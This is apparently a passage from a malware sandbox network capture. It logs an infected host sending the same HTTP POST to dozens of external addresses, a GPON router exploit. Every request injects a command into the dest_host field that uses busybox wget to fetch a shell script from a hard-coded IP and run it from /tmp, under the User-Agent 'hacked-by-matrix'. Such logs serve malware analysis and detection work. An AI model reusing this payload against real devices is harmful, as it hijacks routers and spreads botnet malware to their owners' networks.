Mar 21, 2024 05:16:56.532505989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	53938	37.204.128.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532541990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	41962	210.62.129.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532577038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	41272	118.12.202.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532610893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	33840	210.193.211.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532617092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	34424	2.28.235.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532650948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	35312	37.162.190.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532680988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	56284	210.135.61.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532681942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	46528	94.90.93.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532716990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	35600	2.126.27.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532768011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	51144	5.74.109.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532768011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	58656	94.104.247.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532768011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	57726	94.242.245.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532809019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	37726	94.238.252.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532809973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	45096	2.136.244.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532857895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	52016	210.153.40.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532898903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	50966	212.187.176.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532934904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	39010	79.106.255.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532984018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	54864	94.103.105.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.532984018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	58646	2.232.184.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533015013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	39496	37.97.12.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533039093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	57250	42.215.193.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533039093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	42746	118.225.188.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533134937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	56192	2.107.168.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533134937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	54488	5.47.200.190	443

Timestamp	Bytes transferred	Direction	Data
